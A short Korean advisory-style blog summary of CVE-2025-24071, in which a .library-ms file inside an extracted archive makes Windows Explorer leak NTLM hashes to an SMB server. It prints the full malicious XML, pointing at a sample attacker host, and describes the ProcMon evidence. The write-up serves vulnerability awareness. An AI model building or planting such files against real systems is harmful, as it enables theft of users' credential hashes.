[하루한줄] CVE-2025-24071 : Windows File Explorer의 NTLM Hash Leak 취약점
URL
https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
Target
- 2025년 3월 누적 업데이트 이전 Windows
Explain
Windows File Explorer에서 .rar/.zip 파일의 압축을 해제하는 과정에서 취약점이 발생해서 NTLM Hash를 유출하는 것이 가능했습니다.
취약점은 압축 파일에 아래와 같이 <url>
element에 SMB 경로를 포함하고 있는 .library-ms 확장자의 파일이 존재할 때 발생합니다.
.library-ms: Microsoft Windows 7에서 도입된 xml 형태의 시스템 파일로, Windows 탐색기 왼쪽 패널의 라이브러리 폴더 내에 하위 폴더로 표시되며 라이브러리를 열 때 찾아볼 수 있는 하나 이상의 폴더에 대한 참조가 포함되어 있습니다.
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\192.168.1.116\shared</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
압축이 해제되면 <url>
element에 저장된 SMB 경로를 메타 데이터 등을 가져오기 위해 resolve하고 이 과정에서 User Interaction 없이 NTLM Hash가 서버로 전송됩니다.
아래와 같이 PoC를 실행하면 SMB 서버에 자동적으로 NTLM 인증을 시도하면서 NTLM Hash가 전송되는 것을 확인할 수 있습니다.
이러한 동작은 File Explorer에서 특정 포맷의 파일을 자동적으로 처리하고 .library-ms 파일의 데이터를 암묵적으로 신뢰했기 때문으로 아래처럼 ProcMon을 통해 살펴보면 파일의 압축이 해제된 후 Explorer.exe와 SearchProtocolHost.exe가 .library-ms 파일에 접근하는 것을 확인할 수 있습니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.